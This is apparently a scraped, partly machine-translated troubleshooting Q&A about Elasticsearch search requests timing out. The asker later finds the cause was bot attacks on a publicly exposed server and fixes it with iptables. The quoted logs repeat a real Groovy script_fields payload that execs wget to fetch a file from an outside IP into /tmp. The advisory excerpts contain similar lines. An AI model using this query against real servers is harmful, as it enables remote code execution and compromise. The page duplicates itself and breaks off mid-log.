Elasticsearch 在每次搜索请求时超时，直到重新启动
Elasticsearch times out on every search request until restart
这有点尴尬，因为 elasticsearch 的全部目的是搜索，但不知何故我的已经失去了这样做的能力。
My Configuration
重点：
我在负载均衡器下获得了 2 个 Elasticsearch 实例。
我有 3 个配置了副本集的 MongoDB 实例。
我安装了river（不知道有没有关系），
这个：https://github.com/richardwilly98/elasticsearch-river-mongodb/wiki
Synopsis of the problem
Elasticsearch 已运行 5 天，其索引的完整大小小于 1MB。
Elasticsearch连续4天没问题，真快。
所有其他请求执行良好，除了
GET 'http://codename.es.domain:9200/_search'
任何类型的搜索。
More Information
群集运行状况良好。
MongoDB 没问题。
我可以创建新索引并索引更多文档。
基本上它甚至不会超时，除非我停止请求。
来自使用官方 elasticsearch 客户端的 NodeJS：
https://www.npmjs.com/package/elasticsearch
我收到：
{
"error": {
"message": "Request Timeout after 30000ms"
}
}
Logs that created the problem
[
2015-04-30 05:05:59,807][DEBUG][action.search.type ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type ] [Saint Anna] All shards failed for phase: [query]
显然下面这些日志发生得更早，并且在某个时候发生了这种情况：
[2015-04-30 05:05:59,811][DEBUG][action.search.type ] [Saint Anna] All shards failed for phase: [query]
在那之后，直到重新启动之前都没有任何效果。
Current Logs
[2015-04-30 08:14:02,174][DEBUG][action.search.type ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory];
at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory];
at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Really bad solution to the problem
启动并运行返回的唯一方法是重新启动。
这个问题在我们以前的主机上就已经出现了。
我们必须每三天重新启动一次弹性搜索，
但它一直在变得更糟，直到我们不得不每小时重新启动一次。
我正在努力避免这种情况，有什么建议吗？
问题已解决：
tl;dr:
原因： 对我们不安全的服务器的机器人攻击。
根据 elasticsearch 发表的一篇文章：
https://www.elastic.co/blog/scripting-security/
1. Don’t run Elasticsearch open to the public
采取的行动：
我们将 iptables 规则添加到我们的 puppet 服务器以应用我们所有的 elasticsearch 服务器。
我们犯了那个错误，不幸的是我们付出了代价。
我们回来了 运行 现在。
Investigation - Longer Part
嗯，根据日志，我发现了一些非常可疑的东西
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
我会 trim 主要部分：
exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
这是机器人黑客的形式，因为我们没有叫 xiao 的人，或者我们的服务器不在中国（根据 GEO-IP），我们怀疑这一行。
根据上述文章：
We have recently seen malicious users taking advantage of publicly
available Elasticsearch servers to gain access to the host systems.
There are a few ways to monitor to see if you have been affected by
this security breach.
The most recent attack is generating Elasticsearch logs similar to the
following:
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
You should also monitor for abnormal system load and perform a
thorough audit of your system.
Make sure that if you detect any exploited system that you take the
steps described above to secure your Elasticsearch nodes once you have
removed or re-installed the affected systems.
黑客应用了一些恶意查询，导致我们的 elasticsearch 停止运行。
我们重新启动了服务器并添加了 Iptables，然后我们又恢复了业务。
这有点尴尬，因为 elasticsearch 的全部目的是搜索，但不知何故我的已经失去了这样做的能力。
My Configuration
重点：
我在负载均衡器下获得了 2 个 Elasticsearch 实例。
我有 3 个配置了副本集的 MongoDB 实例。
我安装了river（不知道有没有关系）， 这个：https://github.com/richardwilly98/elasticsearch-river-mongodb/wiki
Synopsis of the problem
Elasticsearch 已运行 5 天，其索引的完整大小小于 1MB。
Elasticsearch连续4天没问题，真快。
所有其他请求执行良好，除了
GET 'http://codename.es.domain:9200/_search'
任何类型的搜索。
More Information
群集运行状况良好。 MongoDB 没问题。 我可以创建新索引并索引更多文档。
基本上它甚至不会超时，除非我停止请求。
来自使用官方 elasticsearch 客户端的 NodeJS： https://www.npmjs.com/package/elasticsearch
我收到：
{
"error": {
"message": "Request Timeout after 30000ms"
}
}
Logs that created the problem
[
2015-04-30 05:05:59,807][DEBUG][action.search.type ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
